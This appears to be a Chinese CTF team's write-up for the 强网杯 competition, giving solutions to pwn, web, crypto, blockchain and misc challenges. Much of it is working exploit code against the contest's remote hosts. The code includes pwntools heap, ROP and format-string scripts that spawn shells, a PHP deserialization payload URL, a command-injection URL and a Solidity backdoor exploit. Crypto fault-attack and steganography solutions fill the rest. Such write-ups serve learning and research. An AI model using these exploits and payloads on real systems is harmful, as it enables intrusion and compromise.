强网杯-WP

> Author:Nu1L Team

题目名称|working or done|id

- flag格式为flag{}或者QWB{}或者ctf{}

强网先锋

bank

nc 39.101.134.52 8005

```
import string
import hashlib
import itertools
from pwn import *

context.log_level = 'debug'
io = remote('39.101.134.52', 8005)



def passpow(postfix, res):
    for answer in itertools.product(string.ascii_letters+string.digits,
repeat=3):
        answer = ''.join(answer).encode()
        hashresult = hashlib.sha256(answer+postfix).hexdigest().encode()
        if hashresult == res:
            return answer
io.recvuntil("+")
postfix = io.recvuntil(")")[:-1]
io.recvuntil('== ')
res = io.recvuntil('\n')[:-1]
print(postfix, res)
answer = passpow(postfix, res)
print(answer)
io.sendlineafter(":", answer)
io.sendlineafter(":", "icqaf0ecae2322e454ba574617e58ef7")
io.sendlineafter(":", "Q7")
io.sendlineafter("> ", "view records")
records = io.recvuntil("your cash")[:-9].strip().splitlines()
print(records)
io.sendlineafter("> ", "transact")
io.sendlineafter("> ", "Alice 10")
hsh = io.recvuntil('\n')[:-1]
sender, receiver, amount = hsh[:32], hsh[32:64], hsh[64:]
print(hsh)
print(sender, receiver, amount)
io.sendlineafter("> ", "provide a record")
io.sendlineafter("> ", receiver+sender+amount)
for record in records[1:]:
    receiver = record[32:64]
    amount = record[64:]
    res = receiver+sender+amount
    print('res', res)
    io.sendlineafter("> ", "provide a record")
    io.sendlineafter("> ", res)
io.interactive()
```

web辅助

```
topsolo::TP=>midsolo::=>invoke=>Gank=>junjle::__tostring
```

反序列化字符逃逸：

```
http://eci-2ze06zq9b84jbri1qjsz.cloudeci1.ichunqiu.com/?
username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&passw
ord=ven%22;s:1:%22a%22;O:7:%22topsolo%22:1:
{S:7:%22%00*%00n\61me%22;O:7:%22midsolo%22:3:
{S:7:%22%00*%00n\61me%22;O:6:%22jungle%22:1:
{S:7:%22%00*%00n\61me%22;s:7:%22Lee%20Sin%22;}}}s:8:%22nu1lctf1%22;s:1:%221
```

主动

http://39.96.23.228:10002/?ip=127.1;cat%20f*

侧防

```
import fuckpy3
t1 = '4C787C64545577655C49764E6843424F'.unhex()
t2 = '4C71444E66577D496D465A4374697978'.unhex()
t3 = '4462655E575O5C4F'.unhex()[::-1]
t = t1+t2+t3
table = b'QWBlogs'
flag = ''
for idx in range(len(t)):
    i = idx - idx % 4
    j = (idx % 4 + 1) % 4
    flag += chr((t[i+j]-65) ^ table[idx % 7])
print(flag)
```

upload

pcap提取出一个上传的jpg，根据提示用了steghide和一个密码，测一下弱口令，123456成功解开拿到flag

baby_crt

题目给出了一个Fault attack on CRT-RSA的场景， 爆破t1，k求gcd(m^f(c1)-f(sig)^e%n,n)分解n即可。

```
from Crypto.Util.number import getPrime, long_to_bytes, getStrongPrime
from hashlib import sha1
import libnum
import math
primeList = []
for num in range(2**15+1, 2**16, 2):
    if all(num % i != 0 for i in range(2, int(math.sqrt(num))+1)):
        primeList.append(num)

32768, 65536

e = 65537
# assert p < q
# assert flag == "flag{" + sha1(long_to_bytes(p)).hexdigest() + "}"
```

```
n =
263183583822582157708277707633846033595244445661461340392720652066571355134968973219839206522421821124794841353434362068157226057565570982418872338372485190318794447409227893513561383229471083468339564056475788388734256584055131924374793595317906979242858895056667695801764313605062275060641320346211238280904806060558774254807399508091090481779768848255890234449019535299135852881432915441811838102275538919739159609515261544693445870832956400348768743186109911530584628113696155554705714695174728654695020250305484512969098576676699637203662900840624705833185905854722097985230210291821999214356259831861010893959970
m =
262754933207060261441969663988861968338151704138077058052877634130131009628317037746403327655038380874349048356579882760646603044278029616091859979646654408674169007111285178592675046576271605987002486897380452431421114891796733758193087795352472146606942116987994610443543522009503093932321861021920968200334344131893259850468214901266208090469265809729514249143938043521579678234754670097056281556861805568096657415974805578299196440362791907408888958917063668867208257370099324084840742435785960681801625180611324948953657666742195051492610613830629731633827861546693629268844700581558851830936504144170791124745540
sig =
201529413691228884141300750028457640469127274717168398546712802558457989287381038245953398853454054199433542154565983812285191319026983732257953396493003593631197546056983210523347314771274337969641076331096087060301111971567016073790867669440960666493233679767863830151066818964794468354191432258323209785305543998510741807623083220923397218395666421449088645304660176147316795253922597965117896240802285870806214540849571691933437245158674681782424023567418848907398732506589604384502871594394577301270745639915130300914567719068537810281598574664983153598466652114126443167160828983960091198486344269896761192192460
for t1 in primeList:
    for k in primeList:
        tmp = libnum.gcd((pow(m, (1-k) % t1, n)-pow(sig, e, n)) % n, n)
        if tmp != 1:
            tmp1 = n//tmp
            print("flag{" + sha1(long_to_bytes(min(tmp, tmp1))).hexdigest() +
"}")
            exit(0)
```

babymessage

```
from pwn import *
context.log_level="debug"
p=remote("123.56.170.202",21342)
#gdb.attach(p)
p.sendlineafter(": \n","1")
p.sendafter(": \n",p32(0xffff))
p.sendlineafter(": \n","2")
p.sendafter(": \n","a"*8+p64(0x6010d0+4))
p.sendlineafter(": \n","2")
p.sendafter(":
\n","a"*16+p64(0x400ac3)+p64(0x601020)+p64(0x400670)+p64(0x4009dd))
p.recvuntil("done!\n\n")
addr=u64(p.recv(6)+"\x00\x00")-0x00080a30+0x10a45c
print hex(addr)
p.sendlineafter(": \n","1")
```

```
p.sendafter(": \n",p32(0xffff))
p.sendlineafter(": \n","2")
p.sendafter(": \n","a"*8+p64(0x6010d0+4))
p.sendlineafter(": \n","2")
p.sendafter(": \n","a"*16+p64(0x400ac3)+p64(0)+p64(addr))
p.interactive()
```

Siri

格式化字符串漏洞，先泄漏PIE和栈，在泄漏libc

最后直接onegadget

```
from pwn import *
import FmtPayload
context.arch = 'amd64'

# s = process("./Siri",env={'LD_PRELOAD':'./libc.so.6'})
s = remote("123.56.170.202","12124")
elf = ELF("./Siri")
puts_got = elf.got['puts']
strstr_got = elf.got['strstr']
def say(buf):
    s.sendafter(">>>","Hey Siri!")
    s.recvuntil(">>> What Can I do for you?")
    s.sendafter(">>>","Remind me to "+buf)

# gdb.attach(s,"b *$rebase(0x129d)\nc")
# fmtstr_payload()
payload = 'A'*5+'%87$pBBBB%44$pDDDD'
say(payload)
s.recvuntil("A"*5)
pie = int(s.recvuntil("B"*4,drop=True),16)-0x1368
success(hex(pie))
stack = int(s.recvuntil("D"*4,drop=True),16)-0x118
success(hex(stack))

payload = 'A'*5+'%15$sBBB'+p64(puts_got+pie)
say(payload)
s.recvuntil("A"*5)
puts = u64(s.recvuntil("BBB",drop=True)+"\x00"*2)
libc = ELF("./libc.so.6")
offset = puts-libc.sym['puts']
success(hex(offset))
system = offset+0x10a45c
# payload = 'A'*12+fmtstr_payload(15,
{stack:system+libc},numbwritten=39,write_size='short').replace('lln','hn')
payload =
'A'*3+FmtPayload.fmt_payload(15,stack,system,n=3,written=30,typex='short')
for i in range(3):
    payload = payload.replace("%"+str(20+i)+"$hn","%"+str(55+i)+"$hn")
print payload
success(hex(len(payload)))
success(hex(system))
say(payload)
s.interactive()
```

```
'''
0x4f365 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f3c2 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a45c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
```

Funhash

http://39.101.177.96/?hash1=0e001233333333333334557778889&hash2[]=1&hash3[]=2&hash4=ffifdyop

红方辅助

```
#encoding:utf-8
import socket
import struct
import multiprocessing
import random
from hashlib import md5, sha256
from pwn import *

def dec(data, fn, salt,btime):
    funcs = {
        "1" : lambda x, y : x - y,
        "0" : lambda x, y : x + y,
        "2" : lambda x, y : x ^ y # lambda x, y : x ^ y
    }

    offset = {
        "0" : 0xefffff,
        "1" : 0xefffff,
        "2" : 0xffffff,
    }
    # length = len(data) + 10
    # fn = str(random.randint(0, 65535) % 3).encode()

    t = struct.unpack("<i", btime)[0]
    boffset = offset[fn.decode()]
    t -= boffset
    t = struct.pack("<i", t)

    # enc = struct.pack("<IIcB", count, length, fn, salt)
    dec = ''
    i = 0
    for c in data:
        tt = funcs[fn.decode()](ord(c),salt) % 256
        dec += chr(tt ^ ord(t[i]))
        i = (i + 1) % 4
```

```
    return dec


f = open('data.txt','r')
d = f.read()
f.close()
d = d.splitlines()
for i in xrange(len(d)/5):
    assert 'G' == d[i*5].decode('hex')
    time = d[i*5 + 1].decode('hex')
    of = d[i*5 + 2].decode('hex')
    da = d[i*5 + 3].decode('hex')[8:]
    fn = da[0]
    salt = ord(da[1])
    j = d[i*5 + 4].decode('hex')
    print(dec(da[2:],fn ,salt,time))
```

babynotes

```
#! /usr/bin/python
#-*- coding: utf-8 -*-
from pwn import *

context(arch = 'amd64' , os = 'linux', log_level='debug')
#p = process('./babynotes')
p=remote("123.56.170.202", 43121)
name = "aa"
motto = "aaaa"
age =1234
def init(name,motto,age):
      p.sendafter(": \n",name)
      p.sendafter(": \n",motto)
      p.sendlineafter(": \n",str(age))
def add(index,size):
    p.sendlineafter(">> ","1")
    p.sendlineafter(": \n",str(index))
    p.sendlineafter(": \n",str(size))
def show(index):
    p.sendlineafter(">> ","2")
    p.sendlineafter(": \n",str(index))
def delete(index):
    p.sendlineafter(">> ","3")
    p.sendlineafter(": \n",str(index))
def edit(index,note):
    p.sendlineafter(">> ","4")
    p.sendlineafter(": \n",str(index))
    p.sendafter(": \n",note)
def reg(name,motto,age):
    p.sendlineafter(">> ","5")
    init(name,motto,age)
init("aaaaa","aaaaa",12)
add(0,0x18)
add(1,0xf8)
add(2,0x68)
add(3,0x20)
delete(0)
```

```
reg("a"*0x18,"a"*0x10,0x171)
delete(1)
add(4,0xf8)
add(1,0x68)
show(1)
p.recvuntil(": ")
addr=u64(p.recv(6)+"\x00\x00")+0x7ffff7a0d000-0x7ffff7dd1b78
print hex(addr)
delete(2)
edit(1,p64(addr+0x7ffff7dd1aed-0x7ffff7a0d000))
add(2,0x68)
add(0,0x68)
delete(2)
edit(0,"a"*0x13+p64(addr+0xf1207))
add(2,0x68)
#gdb.attach(p)
p.interactive()
```

Just_a_Galgame

```
from pwn import *
context.log_level="debug"
#p=process("./Just_a_Galgame")
p=remote("123.56.170.202",52114)
def add():
    p.sendlineafter(">> ","1")
def edit(index,note):
    p.sendlineafter(">> ","2")
    p.sendlineafter(">> ",str(index))
    p.sendafter(">> ",note)
def add2():
    p.sendlineafter(">> ","3")
def show(index):
    p.sendlineafter(">> ","4")
    p.sendlineafter(">> ",str(index))
def leave(note):
    p.sendlineafter(">> ","5")
    p.sendafter("\n\n",note)
add()
leave(p64(0x404000))
edit(8,p64(0x0403FD8))
show(0)
p.recvuntil("0: ")
addr=u64(p.recv(6)+"\x00\x00")-0x7ffff7af4180+0x7ffff79e4000
print hex(addr)
add2()
leave(p64(addr+0x03ebc30-0x60))
edit(8,p64(addr+0x10a45c))
#gdb.attach(p)
add()
p.interactive()
```

区块链

EasyFake

```
pragma solidity ^0.4.23;

contract EasyFake {

.....................
.....................

string public constant hello = "Welcome to S4 of qwb! Enjoy yourself :D";
uint private constant randomNumber = 0;

event SendFlag(address addr);

.....................
.....................
```

我部署的:

```
kDGCcGie+3ujXBYOR0buPn4HYLoaDXsdR8QAw2NuuJem8wKdt/e99bQkDT7PJUALCXfx0B/yoB9YUTF9
Y7Ny7aLpcMDLR5qMGKVKEQ8wuZNk84m5E2zpIBWsHYwjgHFBgO6Lo8Og7Ag3f277UfzoLTtL7iO4HyPk
vvsHKpwOLHs=

new token:
BoyCMgAMJYKuXC4wJ0M17bNSni4MPy5CDxLBlAmO0itHtrigRbgdBvsLuEC36G/GFrEH3nEEJcAx1wYF
if6PAPLncZ9YFshLSsHsI4cxc/L3ry6I9TBPsK+9mROttYcHRsqPyf3Qqi67c1qcjqjM+zoeJw4VLrM2
sWj+C1t7t69/Xhd7FLj5aJG1hDCoD0kK0u6EzunWacWlq3ALBSNrnw==

0xF2871Ea6f7463BcdBfcfa42939D26BC6719D86ED
https://ropsten.etherscan.io/address/0x801872e155f82fb1fdd350fff70c99d61ecf940a
```

和RWCTF 2018 Final的题基本一样... 0x2665f77d是个backdoor.

```
const Web3 = require('web3');
const Tx = require('ethereumjs-tx');
const fs = require('fs');
const WalletProvider = require("truffle-wallet-provider");

const contract = "0xAa67957a992100674f70Af8EfD89E138C77A6308";
const mine = '0x9Fd6Bd7F75fB554A206dFa952cCa508d07e974C8';
const backdoor = "0x2665f77d";

String.prototype.trim = function() {
    return String(this).replace(/^\s+|\s+$/g, '');
};

String.prototype.leftJustify = function( length, char ) {
    var fill = [];
    while ( fill.length + this.length < length ) {
      fill[fill.length] = char;
    }
    return fill.join('') + this;
}

String.prototype.rightJustify = function( length, char ) {
```

```
    var fill = [];
    while ( fill.length + this.length < length ) {
      fill[fill.length] = char;
    }
    return this + fill.join('');
}

String.prototype.abiPack = function() {
  return num2uint(this.length) +
Buffer.from(this).toString('hex').rightJustify(64, '0');
}

var wallet = require('ethereumjs-
wallet').fromPrivateKey(Buffer.from(fs.readFileSync("./pk.txt").toString().trim(
), 'hex'));
var web3 = new Web3(new WalletProvider(wallet, "https://ropsten.infura.io/v3/" +
fs.readFileSync("./apikey.txt").toString().trim()));

function address2uint(address) {
  return "000000000000000000000000" + address;
}

function num2uint(number) {
  return number.toString(16).leftJustify(64, '0');
}

function sendTransaction(tx) {
  var tx = new Tx(tx);
  tx.sign(priv);
  var serialized = tx.serialize()
  return web3.eth.sendSignedTransaction('0x' + serialized.toString('hex'));
}

function deploy(contract) {
  return web3.eth.sendTransaction({
    gasPrice: 1000000000,
    gasLimit: 300000,
    from: '0x' + mine,
    value: 0,
    data: '0x' + contract,
  });
}

var payload = "";
for(var i = 0; i < 0x5e - 4; i++) {
  payload += "aa";
}
payload += "0000000000000000000000000000000000000000000000000000000000000740";
// jop delegatecall gadget
payload += "000000000000000000000000E58d9Ce758ff82c4642b7002dDcc8C16956F8A28";

web3.eth.sendTransaction({
  gasPrice: 1000000000,
  gasLimit: 300000,
  from: mine,
  to: contract,
  value: 0,
  data: backdoor + payload
```

```
}).then(console.log);
```

delegatecall调用的合约:

```
pragma solidity ^0.4.23;

contract Sender {
    address private owner;
    uint public balance;

  event SendFlag(address addr);

    constructor () public {
        owner = msg.sender;
        balance = 0;
    }

    function pay() public payable {
        balance += msg.value;
    }

  function getflag() public payable {
    emit SendFlag(owner);
  }

    function kill() public {
        require(msg.sender == owner);
        selfdestruct(owner);
    }
}
```

IPFS

pic1:

先把每个block都ipfs get下载下来，根据文件头文件大小确定首位顺序，再根据图片内容试一试即可确定6个block顺序

cat QmXh6p3DGKfvEVwdvtbiH7SPsmLDfL7LXrowAZtQjkjw73
QmZkF524d8HWfF8k2yLrZwFz9PtaYgCwy3UqJP5Ahk5aXH
QmU59LjvcC1ueMdLVFve8je6vBY48vkEYDQZFiAbpgX9mf
Qme7fkoP2scbqRPaVv6JEiaMjcPZ58NYMnUxKAvb2paey2
QmfUbHZQ95XKu9vd5XCerhKPsogRdYHkwx8mVFh5pwfNzE
QmXFSNiJ8BdbUKPAsu3oueziyYqeYhi3iyQPXgVSvqTBtN > res.jpg

按照相同分块方式上传即可拿到hash

```
ipfs add -s size-26624 res.jpg
added QmYjQSMMux72UH4d6HX7tKVFaP27UzC65cRchbVAsh96Q7 res.jpg
```

pic2:

添加0x12 0x20的算法、长度标识后转为base58即可。

最后根据图片内容flag=flag{md5(hash1+hash2)} 拼接即可。

Misc

miscstudy

http://39.99.247.28/fonts/1

```
flag{level1_begin_and_level2_is_come
```

直接用wireshark导入上面链接的log可以解开另一个http请求
https://www.qiangwangbei.com/images/4e5d47b2db53654959295bba216858932.png

有几段base64解出来有个3600位的奇怪的01串

后面还有另一个base64解出来是

```
level3_start_it
```

3600位的01串是二维码扫出来的连接
链接：https://pan.baidu.com/s/1wVJ7d0RLW8Rj-HOTL9Shug提取码：1lms

stegdetect检测到steghide，用jphs解一下，爆破弱口令密码得到：power123

```
    https://pan.baidu.com/s/1o43y4UGkm1eP-RViC25aOw
    mrpt

    level4_here_all
```

mac下面the unarchiver直接解开压缩包，拿到level5_is_aaa

```
python crack.py level6.zip
reading zip files...
file found: level6.zip / 2.txt: crc = 0xeed7e184, size = 4
file found: level6.zip / 3.txt: crc = 0x289585af, size = 5
file found: level6.zip / 1.txt: crc = 0x9aeacc13, size = 5
compiling...
searching...
crc found: 0xeed7e184: "6_is"
crc found: 0x9aeacc13: "level"
crc found: 0x289585af: "n*=em"
crc found: 0x9aeacc13: "p**dx"
crc found: 0x289585af: "ready"
crc found: 0x9aeacc13: "M;f\x0c "
crc found: 0x289585af: "Ot-\x0c!"
crc found: 0x9aeacc13: "Qt:\x0d4"
crc found: 0x289585af: "S;q\x0d5"
crc found: 0x289585af: "?H\x5c\x09q"
done

level6.zip / 2.txt : '6_is'
level6.zip / 3.txt : 'n*=em'
level6.zip / 3.txt : 'ready'
level6.zip / 3.txt : 'Ot-\x0c!'
level6.zip / 3.txt : 'S;q\r5'
level6.zip / 3.txt : '?H\\\tq'
```

```
level6.zip / 1.txt : 'level'
level6.zip / 1.txt : 'p**dx'
level6.zip / 1.txt : 'M;f\x0c '
level6.zip / 1.txt : 'Qt:\r4'
level6_isready
```

7.zip已知明文攻击拿到两张尺寸相同的图片，diff一下根据pattern猜测使用了盲水印，解开拿到level7ishere和39.99.247.28/final_level
访问查看源码看到一个hint，另外前几行末尾包含多余空格和tab，猜测使用了snow隐写

```
./snow -C -p "no one can find me" index.html
the_misc_examaaaaaaa_!!!}
拼起来
flag{level1_begin_and_level2_is_comelevel3_start_itlevel4_here_alllevel5_is_aaal
evel6_isreadylevel7isherethe_misc_examaaaaaaa_!!!}
```

Crypto

fault

sm4 fault attack

论文很多，有一篇有代码的（https://github.com/guojuntang/sm4_dfa/blob/master/sm4_dfa.py），是random fault attack，我们的条件更宽松，但限制了不能攻击最后一轮。

直接复用他的代码拿到flag。

```
import random
from enum import Enum
from pwn import *
import fuckpy3
import itertools
context.log_level = 'debug'
FaultStatus = Enum('FaultStatus', 'Crash Loop NoFault MinorFault MajorFault
WrongFault round31Fault round30Fault round29Fault')
blockSize = 16
sliceSize = blockSize // 4
def xor(a, b): return list(map(lambda x, y: x ^ y, a, b))
def rotl(x, n): return ((x << n) & 0xffffffff) | ((x >> (32 - n)) & 0xffffffff)
def get_uint32_be(key_data): return ((key_data[0] << 24) | (key_data[1] << 16) |
(key_data[2] << 8) | (key_data[3]))
def get_uint32_le(key_data): return ((key_data[3] << 24) | (key_data[2] << 16) |
(key_data[1] << 8) | (key_data[0]))
def put_uint32_be(n): return [((n >> 24) & 0xff), ((n >> 16) & 0xff), ((n >> 8)
& 0xff), ((n) & 0xff)]
def bytes_to_list(data): return [i for i in data]
def list_to_bytes(data): return b''.join([bytes((i,)) for i in data])
def dump_byte(a): return print(''.join(map(lambda x: ('/x' if len(hex(x)) >= 4
else '/x0')+hex(x)[2:], a)))
def l_inv(c): return c ^ rotl(c, 2) ^ rotl(c, 4) ^ rotl(c, 8) ^ rotl(c, 12) ^
rotl(
c, 14) ^ rotl(c, 16) ^ rotl(c, 18) ^ rotl(c, 22) ^ rotl(c, 24) ^ rotl(c, 30)
def int2bytes(state, size): return (state).to_bytes(size, byteorder='big',
signed=False)
```

```
def bytes2int(state): return int.from_bytes(state, 'big', signed=False)
def intersect(a, b): return [val for val in a if val in b]
def singleState(a, index): return (a >> (index * 8)) & 0xff
def getSlices(block): return [(block >> (32 * i) & 0xffffffff)for i in range(0,
4)]
def byte2slices(state): return [get_uint32_be(state[i * 4: (i + 1) * 4]) for i
in range(4)]
def find_candidate_index(diff): return [i for i in range(4, len(diff)) if
diff[i] != b'\x00'][0] % 4
def check_diff(diffmap, n):
for i in range(n-1):
if diffmap[i] is not i:
return False
return True
SM4_ENCRYPT = 0
SM4_DECRYPT = 1
SM4_BOXES_TABLE = [
0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28,
0xfb, 0x2c,
0x05, 0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x04, 0xc3, 0xaa, 0x44, 0x13, 0x26,
0x49, 0x86,
0x06, 0x99, 0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0x0b,
0x43, 0xed,
0xcf, 0xac, 0x62, 0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x08, 0xe8, 0x95, 0x80, 0xdf,
0x94, 0xfa,
0x75, 0x8f, 0x3f, 0xa6, 0x47, 0x07, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83,
0x59, 0x3c,
0x19, 0xe6, 0x85, 0x4f, 0xa8, 0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b,
0xf8, 0xeb,
0x0f, 0x4b, 0x70, 0x56, 0x9d, 0x35, 0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, 0xd1,
0xa2, 0x25,
0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, 0x87, 0xd4, 0x00, 0x46, 0x57, 0x9f, 0xd3,
0x27, 0x52,
0x4c, 0x36, 0x02, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e, 0xea, 0xbf, 0x8a, 0xd2, 0x40,
0xc7, 0x38,
0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1, 0xe0, 0xae, 0x5d, 0xa4,
0x9b, 0x34,
0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3, 0x1d, 0xf6, 0xe2,
0x2e, 0x82,
0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0x0d, 0x53, 0x4e, 0x6f, 0xd5, 0xdb,
0x37, 0x45,
0xde, 0xfd, 0x8e, 0x2f, 0x03, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51, 0x8d,
0x1b, 0xaf,
0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8,
0x0a, 0xc1,
0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4,
0xb0, 0x89,
0x69, 0x97, 0x4a, 0x0c, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x09, 0xc5, 0x6e,
0xc6, 0x84,
0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7,
0xcb, 0x39,
0x48,
]

# System parameter
SM4_FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]

# fixed parameter
```

```
SM4_CK = [
0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269,
0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249,
0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229,
0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209,
0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
]



def gen_IN_table():
# Find {x: S(x) ^ S(x ^ diff_in) = diff_out } for all diff_in and diff_out
IN_table = [[[] for i in range(2 ** 8)]for j in range(2 ** 8)]
for diff_in in range(1, 2 ** 8):
for x in range(2 ** 8):
diff_out = SM4_BOXES_TABLE[x] ^ SM4_BOXES_TABLE[diff_in ^ x]
IN_table[diff_in][diff_out].append(x)
return IN_table



def recovery_key(last_round_key):
"""
last_round_key = [k31, k30, k29, k28] as input
"""
rk = [0] * 36
rk[32:] = last_round_key[::-1]
for i in range(31, -1, -1):
rk[i] = rk[i + 4] ^ round_key(rk[i + 1] ^ rk[i + 2] ^ rk[i + 3] ^ SM4_CK[i])
rk[:4] = xor(rk[:4], SM4_FK)
return rk



def get_masterKey(sk):
MK = b''.join(int2bytes(x, sliceSize) for x in sk[:4])
return MK



def round_key(ka):
b = [0, 0, 0, 0]
a = put_uint32_be(ka)
b[0] = SM4_BOXES_TABLE[a[0]]
b[1] = SM4_BOXES_TABLE[a[1]]
b[2] = SM4_BOXES_TABLE[a[2]]
b[3] = SM4_BOXES_TABLE[a[3]]
bb = get_uint32_be(b[0:4])
rk = bb ^ (rotl(bb, 13)) ^ (rotl(bb, 23))
return rk



def set_key(key, mode):
key = bytes_to_list(key)
```

```
sk = [0] * 32
MK = [0, 0, 0, 0]
k = [0]*36
MK[0:4] = byte2slices(key)
k[0:4] = xor(MK[0:4], SM4_FK[0:4])
for i in range(32):
k[i + 4] = k[i] ^ (
round_key(k[i + 1] ^ k[i + 2] ^ k[i + 3] ^ SM4_CK[i]))
sk[i] = k[i + 4]
mode = mode
if mode == SM4_DECRYPT:
for idx in range(16):
t = sk[idx]
sk[idx] = sk[31 - idx]
sk[31 - idx] = t
return sk



def f_function(x0, x1, x2, x3, rk):
# "T algorithm" == "L algorithm" + "t algorithm".
# args:    [in] a: a is a 32 bits unsigned value;
# return: c: c is calculated with line algorithm "L" and nonline algorithm "t"
def sm4_l_t(ka):
b = [0, 0, 0, 0]
a = put_uint32_be(ka)
b[0] = SM4_BOXES_TABLE[a[0]]
b[1] = SM4_BOXES_TABLE[a[1]]
b[2] = SM4_BOXES_TABLE[a[2]]
b[3] = SM4_BOXES_TABLE[a[3]]
bb = get_uint32_be(b[0:4])
c = bb ^ (rotl(bb, 2)) ^ (rotl(bb, 10)) ^ (rotl(bb, 18)) ^ (rotl(bb, 24))
return c
return (x0 ^ sm4_l_t(x1 ^ x2 ^ x3 ^ rk))



def round(sk, in_put):
out_put = []
ulbuf = [0]*36
ulbuf[0:4] = byte2slices(in_put)
for idx in range(32):
ulbuf[idx + 4] = f_function(ulbuf[idx], ulbuf[idx + 1], ulbuf[idx + 2],
ulbuf[idx + 3], sk[idx])
out_put += put_uint32_be(ulbuf[35])
out_put += put_uint32_be(ulbuf[34])
out_put += put_uint32_be(ulbuf[33])
out_put += put_uint32_be(ulbuf[32])
return out_put



def sm4_encrypt(in_put, sk):
in_put = bytes_to_list(in_put)
output = round(sk, in_put)
return list_to_bytes(output)
```

```
def gen_fault_cipher(in_put, sk, inject_round, verbose=1):
"""
Generate faulty cipher
:param in_put: the input plaintext, as byte
:param sk: key schedule, as int list
:param inject_round: the round for  injecting fault
:param verbose: verbosity level
:return the faulty cipher, as byte
"""
in_put = bytes_to_list(in_put)
out_put = []
ulbuf = [0]*36
ulbuf[0:4] = byte2slices(in_put)
for idx in range(32):
if idx == inject_round:
# Simulate random fault and random offset of the fault
diff = random.randint(1, 2**8 - 1)
offset = random.randrange(0, 25, 8)
index = random.randint(1, 3)
if(verbose > 3):
print("round %d:Inject diff 0x%.2x at offset %d" % (inject_round, diff, offset))
ulbuf[idx + index] ^= diff << offset
ulbuf[idx + 4] = f_function(ulbuf[idx], ulbuf[idx + 1], ulbuf[idx + 2],
ulbuf[idx + 3], sk[idx])
out_put += put_uint32_be(ulbuf[35])
out_put += put_uint32_be(ulbuf[34])
out_put += put_uint32_be(ulbuf[33])
out_put += put_uint32_be(ulbuf[32])

return list_to_bytes(out_put)



def decrypt_round(in_put, last_round_key, verbose=1):
output = []
ulbuf = [0]*36
ulbuf[0:4] = byte2slices(in_put)
round_num = len(last_round_key)
for idx in range(round_num):
ulbuf[idx + 4] = f_function(ulbuf[idx], ulbuf[idx + 1], ulbuf[idx + 2],
ulbuf[idx + 3], last_round_key[idx])
if verbose > 3:
print("decrypt round in %d:%x" % (idx, ulbuf[idx + 4]))
output += put_uint32_be(ulbuf[round_num])
output += put_uint32_be(ulbuf[round_num + 1])
output += put_uint32_be(ulbuf[round_num + 2])
output += put_uint32_be(ulbuf[round_num + 3])
return list_to_bytes(output)



def crack_round(roundFaultList, ref, last_round_key=[], verbose=1):
"""
Crack the round key from the faulty cipher and correct cipher

:param roundFaultList: the list with faulty ciphers, as byte list
:param ref the correct: cipher, as byte
```

```
:param last_round_key:  for decrypting the faulty cipher and correct cipher if
not empty, as int list
:param verbose: verbosity level
:return: the next round key or None if the key not intact
"""
if not last_round_key:
pass
else:
"""
if last round key is not empty: require to decrypt the cipher by it
"""
ref = decrypt_round(ref, last_round_key, verbose)
for index in range(len(roundFaultList)):
roundFaultList[index] = decrypt_round(roundFaultList[index], last_round_key,
verbose)
return crack_bytes(roundFaultList, ref, verbose)



def check(output, encrypt=None, verbose=1, init=False, _intern={}):
"""
Checks an output against a reference.
The first call to the function sets the internal reference as the given output
:param output: potentially faulty output
:param encrypt: True if encryption, False if decryption
:param verbose: verbosity level, prints only if verbose>2
:param init: if True, resets the internal reference as the given output
:returns: a FaultStatus and the index for cracking key
"""
if init:
_intern.clear()

if not _intern:
_intern['goldenref'] = output
if verbose > 2:
print("FI: record golden ref")
return (FaultStatus.NoFault, None)
if output == _intern['goldenref']:
if verbose > 2:
print("FI: no impact")
return (FaultStatus.NoFault, None)
#diff = int2bytes(output ^ _intern['goldenref'], blockSize)
diff = xor(output, _intern['goldenref'])
# record the index of difference
diffmap = [i for i in range(len(diff)) if diff[i] != 0]
diffsum = len(diffmap)
status = FaultStatus.Loop
"""
SM4 always put the updated data at left hand side,
so the fist four diff will never be equal to 0
"""
if diffsum == 5 or diffsum == 8 or diffsum == 9 or diffsum == 12 or diffsum ==
13:
"""
The target cipher in round 31 for analysising the round key always contains five
bytes difference
And the index of the four/eight/twelve difference indicates the position of the
S-BOX for cracking the key byte.
```

```
"""
